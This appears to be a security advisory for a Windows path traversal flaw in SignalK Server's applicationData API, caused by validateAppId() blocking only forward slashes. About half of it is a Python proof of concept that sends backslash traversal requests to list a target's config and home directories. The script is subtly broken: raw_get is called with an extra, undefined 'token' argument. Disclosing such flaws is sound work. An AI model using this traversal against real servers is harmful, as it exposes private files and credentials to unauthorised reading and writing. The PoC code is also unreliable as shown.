SignalK Server has Path Traversal leading to information disclosure

Summary

A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.

Details

Platform: Windows (Linux only allows traversal up a single directory) Authentication Required: Yes (ability to write depends on user's permission)

The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:

// Simplified vulnerable code pattern
function validateAppId(appid) {
  if (appid.includes('/') || appid.length >= 30) {
    return false;
  }
  return true;
}

// Later used in path construction
const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);

Root Cause:

• The validation only blocks / characters
• On Windows, path.join() uses the platform's native path separator
• Windows treats both / and \ as valid directory separators
• Backslash-based traversal sequences like ..\..\.. pass validation
• When path.join() processes these on Windows, each .. traverses up one directory level

PoC

#!/usr/bin/env python3

import argparse
import http.client
import json
import sys
from urllib.parse import urlparse

PREFIX = "/signalk/v1/applicationData"


def raw_get(base, path, token):
    """
    GET using http.client so that '..' and backslashes in the URL
    are sent literally (requests/urllib would normalise them away).
    """
    parsed = urlparse(base)
    host, port = parsed.hostname, parsed.port or 80
    conn = http.client.HTTPConnection(host, port)
    conn.request("GET", path, headers={"Authorization": f"Bearer {token}"})
    resp = conn.getresponse()
    status = resp.status
    body = resp.read().decode("utf-8", errors="replace")
    conn.close()
    return status, body


def main():
    ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC")
    ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000")
    ap.add_argument("--token", required=True, help="any valid JWT token")
    args = ap.parse_args()

    base = args.target.rstrip("/")

    # On Windows, path.join(configPath, "applicationData", "users", id, appid)
    # resolves each '..' upward when separated by backslashes.
    #
    # Depth from base (configPath/applicationData/users/):
    #   ..              → applicationData/users/          (1 level)
    #   ..\..           → applicationData/                (2 levels)
    #   ..\..\..        → configPath (.signalk)           (3 levels)
    #   ..\..\..\..     → user home directory             (4 levels)

    traversals = [
        ("..\\..\\..\\", ".signalk config directory"),
        ("..\\..\\..\\..\\", "user home directory"),
    ]

    for appid, description in traversals:
        path = f"{PREFIX}/user/{appid}"
        status, body = raw_get(base, path, token, args.token)

        print(f"[{status}] {description}")
        print(f"  GET {path}")

        if status == 200:
            try:
                entries = json.loads(body)
                for entry in entries:
                    print(f"    {entry}")
            except json.JSONDecodeError:
                print(f"    {body[:200]}")
        else:
            print(f"    {body[:200]}")
        print()


if __name__ == "__main__":
    main()